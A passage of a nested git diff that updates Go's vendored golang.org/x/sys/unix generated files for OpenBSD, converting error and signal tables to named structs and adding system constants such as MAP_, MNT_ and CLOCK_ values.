-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large or too small"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol option not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EILSEQ", "illegal byte sequence"},
-+ {86, "ENOTSUP", "not supported"},
-+ {87, "ECANCELED", "operation Canceled"},
-+ {88, "EBADMSG", "bad or Corrupt message"},
-+ {89, "ENODATA", "no message available"},
-+ {90, "ENOSR", "no STREAM resources"},
-+ {91, "ENOSTR", "not a STREAM"},
-+ {92, "ETIME", "STREAM ioctl timeout"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EMULTIHOP", "multihop attempted"},
-+ {95, "ENOLINK", "link has been severed"},
-+ {96, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "power fail/restart",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPWR", "power fail/restart"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_openbsd_386.go b/vendor/golang.org/x/sys/unix/zerrors_openbsd_386.go
-index 3322e998..5402bd55 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_openbsd_386.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m32
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,openbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m32 _const.go
-
- package unix
-@@ -147,6 +147,7 @@ const (
- CFLUSH = 0xf
- CLOCAL = 0x8000
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -157,6 +158,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DIOCOSFPFLUSH = 0x2000444e
-@@ -442,6 +445,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -860,6 +864,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LCNT_OVERLOAD_FLUSH = 0x6
- LOCK_EX = 0x2
- LOCK_NB = 0x4
-@@ -873,14 +881,15 @@ const (
- MADV_SPACEAVAIL = 0x5
- MADV_WILLNEED = 0x3
- MAP_ANON = 0x1000
-- MAP_COPY = 0x4
-+ MAP_ANONYMOUS = 0x1000
-+ MAP_CONCEAL = 0x8000
-+ MAP_COPY = 0x2
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-- MAP_FLAGMASK = 0x1ff7
-- MAP_HASSEMAPHORE = 0x200
-- MAP_INHERIT = 0x80
-+ MAP_FLAGMASK = 0xfff7
-+ MAP_HASSEMAPHORE = 0x0
-+ MAP_INHERIT = 0x0
- MAP_INHERIT_COPY = 0x1
-- MAP_INHERIT_DONATE_COPY = 0x3
- MAP_INHERIT_NONE = 0x2
- MAP_INHERIT_SHARE = 0x0
- MAP_NOEXTEND = 0x100
-@@ -888,9 +897,36 @@ const (
- MAP_PRIVATE = 0x2
- MAP_RENAME = 0x20
- MAP_SHARED = 0x1
-- MAP_TRYFIXED = 0x400
-+ MAP_STACK = 0x4000
-+ MAP_TRYFIXED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_DOOMED = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x4000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0x400ffff
-+ MNT_WAIT = 0x1
-+ MNT_WANTRDWR = 0x2000000
-+ MNT_WXALLOWED = 0x800
- MSG_BCAST = 0x100
- MSG_CTRUNC = 0x20
- MSG_DONTROUTE = 0x4
-@@ -912,6 +948,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_STATS = 0x4
- NET_RT_TABLE = 0x5
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1210,6 +1247,34 @@ const (
- SO_TIMESTAMP = 0x800
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
- TCIOFLUSH = 0x3
- TCOFLUSH = 0x2
-@@ -1453,132 +1518,140 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "IPsec processing failure",
-- 83: "attribute not found",
-- 84: "illegal byte sequence",
-- 85: "no medium found",
-- 86: "wrong medium type",
-- 87: "value too large to be stored in data type",
-- 88: "operation canceled",
-- 89: "identifier removed",
-- 90: "no message of desired type",
-- 91: "not supported",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC program not available"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIPSEC", "IPsec processing failure"},
-+ {83, "ENOATTR", "attribute not found"},
-+ {84, "EILSEQ", "illegal byte sequence"},
-+ {85, "ENOMEDIUM", "no medium found"},
-+ {86, "EMEDIUMTYPE", "wrong medium type"},
-+ {87, "EOVERFLOW", "value too large to be stored in data type"},
-+ {88, "ECANCELED", "operation canceled"},
-+ {89, "EIDRM", "identifier removed"},
-+ {90, "ENOMSG", "no message of desired type"},
-+ {91, "ELAST", "not supported"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread AST",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread AST"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-index 1758ecca..ffaf2d2f 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_openbsd_amd64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,openbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -45,6 +45,7 @@ const (
- AF_SNA = 0xb
- AF_UNIX = 0x1
- AF_UNSPEC = 0x0
-+ ALTWERASE = 0x200
- ARPHRD_ETHER = 0x1
- ARPHRD_FRELAY = 0xf
- ARPHRD_IEEE1394 = 0x18
-@@ -146,7 +147,14 @@ const (
- BRKINT = 0x2
- CFLUSH = 0xf
- CLOCAL = 0x8000
-+ CLOCK_BOOTTIME = 0x6
-+ CLOCK_MONOTONIC = 0x3
-+ CLOCK_PROCESS_CPUTIME_ID = 0x2
-+ CLOCK_REALTIME = 0x0
-+ CLOCK_THREAD_CPUTIME_ID = 0x4
-+ CLOCK_UPTIME = 0x5
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -157,6 +165,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DIOCOSFPFLUSH = 0x2000444e
-@@ -175,6 +185,7 @@ const (
- DLT_LOOP = 0xc
- DLT_MPLS = 0xdb
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x12
- DLT_PPP = 0x9
-@@ -185,6 +196,23 @@ const (
- DLT_RAW = 0xe
- DLT_SLIP = 0x8
- DLT_SLIP_BSDOS = 0xf
-+ DLT_USBPCAP = 0xf9
-+ DLT_USER0 = 0x93
-+ DLT_USER1 = 0x94
-+ DLT_USER10 = 0x9d
-+ DLT_USER11 = 0x9e
-+ DLT_USER12 = 0x9f
-+ DLT_USER13 = 0xa0
-+ DLT_USER14 = 0xa1
-+ DLT_USER15 = 0xa2
-+ DLT_USER2 = 0x95
-+ DLT_USER3 = 0x96
-+ DLT_USER4 = 0x97
-+ DLT_USER5 = 0x98
-+ DLT_USER6 = 0x99
-+ DLT_USER7 = 0x9a
-+ DLT_USER8 = 0x9b
-+ DLT_USER9 = 0x9c
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -398,27 +426,38 @@ const (
- ETHER_CRC_POLY_LE = 0xedb88320
- ETHER_HDR_LEN = 0xe
- ETHER_MAX_DIX_LEN = 0x600
-+ ETHER_MAX_HARDMTU_LEN = 0xff9b
- ETHER_MAX_LEN = 0x5ee
- ETHER_MIN_LEN = 0x40
- ETHER_TYPE_LEN = 0x2
- ETHER_VLAN_ENCAP_LEN = 0x4
- EVFILT_AIO = -0x3
-+ EVFILT_DEVICE = -0x8
- EVFILT_PROC = -0x5
- EVFILT_READ = -0x1
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0x7
-+ EVFILT_SYSCOUNT = 0x8
- EVFILT_TIMER = -0x7
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVL_ENCAPLEN = 0x4
-+ EVL_PRIO_BITS = 0xd
-+ EVL_PRIO_MAX = 0x7
-+ EVL_VLID_MASK = 0xfff
-+ EVL_VLID_MAX = 0xffe
-+ EVL_VLID_MIN = 0x1
-+ EVL_VLID_NULL = 0x0
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
- EV_DISABLE = 0x8
-+ EV_DISPATCH = 0x80
- EV_ENABLE = 0x4
- EV_EOF = 0x8000
- EV_ERROR = 0x4000
- EV_FLAG1 = 0x2000
- EV_ONESHOT = 0x10
-+ EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
- EXTB = 0x9600
-@@ -432,6 +471,7 @@ const (
- F_GETFL = 0x3
- F_GETLK = 0x7
- F_GETOWN = 0x5
-+ F_ISATTY = 0xb
- F_OK = 0x0
- F_RDLCK = 0x1
- F_SETFD = 0x2
-@@ -442,13 +482,13 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-- IFA_ROUTE = 0x1
- IFF_ALLMULTI = 0x200
- IFF_BROADCAST = 0x2
- IFF_CANTCHANGE = 0x8e52
-@@ -459,12 +499,12 @@ const (
- IFF_LOOPBACK = 0x8
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-- IFF_NOTRAILERS = 0x20
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PROMISC = 0x100
- IFF_RUNNING = 0x40
- IFF_SIMPLEX = 0x800
-+ IFF_STATICARP = 0x20
- IFF_UP = 0x1
- IFNAMSIZ = 0x10
- IFT_1822 = 0x2
-@@ -593,6 +633,7 @@ const (
- IFT_LINEGROUP = 0xd2
- IFT_LOCALTALK = 0x2a
- IFT_LOOP = 0x18
-+ IFT_MBIM = 0xfa
- IFT_MEDIAMAILOVERIP = 0x8b
- IFT_MFSIGLINK = 0xa7
- IFT_MIOX25 = 0x26
-@@ -717,8 +758,6 @@ const (
- IPPROTO_AH = 0x33
- IPPROTO_CARP = 0x70
- IPPROTO_DIVERT = 0x102
-- IPPROTO_DIVERT_INIT = 0x2
-- IPPROTO_DIVERT_RESP = 0x1
- IPPROTO_DONE = 0x101
- IPPROTO_DSTOPTS = 0x3c
- IPPROTO_EGP = 0x8
-@@ -775,6 +814,7 @@ const (
- IPV6_LEAVE_GROUP = 0xd
- IPV6_MAXHLIM = 0xff
- IPV6_MAXPACKET = 0xffff
-+ IPV6_MINHOPCOUNT = 0x41
- IPV6_MMTU = 0x500
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
-@@ -814,12 +854,12 @@ const (
- IP_DEFAULT_MULTICAST_LOOP = 0x1
- IP_DEFAULT_MULTICAST_TTL = 0x1
- IP_DF = 0x4000
-- IP_DIVERTFL = 0x1022
- IP_DROP_MEMBERSHIP = 0xd
- IP_ESP_NETWORK_LEVEL = 0x16
- IP_ESP_TRANS_LEVEL = 0x15
- IP_HDRINCL = 0x2
- IP_IPCOMP_LEVEL = 0x1d
-+ IP_IPDEFTTL = 0x25
- IP_IPSECFLOWINFO = 0x24
- IP_IPSEC_LOCAL_AUTH = 0x1b
- IP_IPSEC_LOCAL_CRED = 0x19
-@@ -853,13 +893,19 @@ const (
- IP_RETOPTS = 0x8
- IP_RF = 0x8000
- IP_RTABLE = 0x1021
-+ IP_SENDSRCADDR = 0x7
- IP_TOS = 0x3
- IP_TTL = 0x4
- ISIG = 0x80
- ISTRIP = 0x20
-+ IUCLC = 0x1000
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LCNT_OVERLOAD_FLUSH = 0x6
- LOCK_EX = 0x2
- LOCK_NB = 0x4
-@@ -873,25 +919,57 @@ const (
- MADV_SPACEAVAIL = 0x5
- MADV_WILLNEED = 0x3
- MAP_ANON = 0x1000
-- MAP_COPY = 0x4
-+ MAP_ANONYMOUS = 0x1000
-+ MAP_CONCEAL = 0x8000
-+ MAP_COPY = 0x2
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-- MAP_FLAGMASK = 0x1ff7
-- MAP_HASSEMAPHORE = 0x200
-- MAP_INHERIT = 0x80
-+ MAP_FLAGMASK = 0xfff7
-+ MAP_HASSEMAPHORE = 0x0
-+ MAP_INHERIT = 0x0
- MAP_INHERIT_COPY = 0x1
-- MAP_INHERIT_DONATE_COPY = 0x3
- MAP_INHERIT_NONE = 0x2
- MAP_INHERIT_SHARE = 0x0
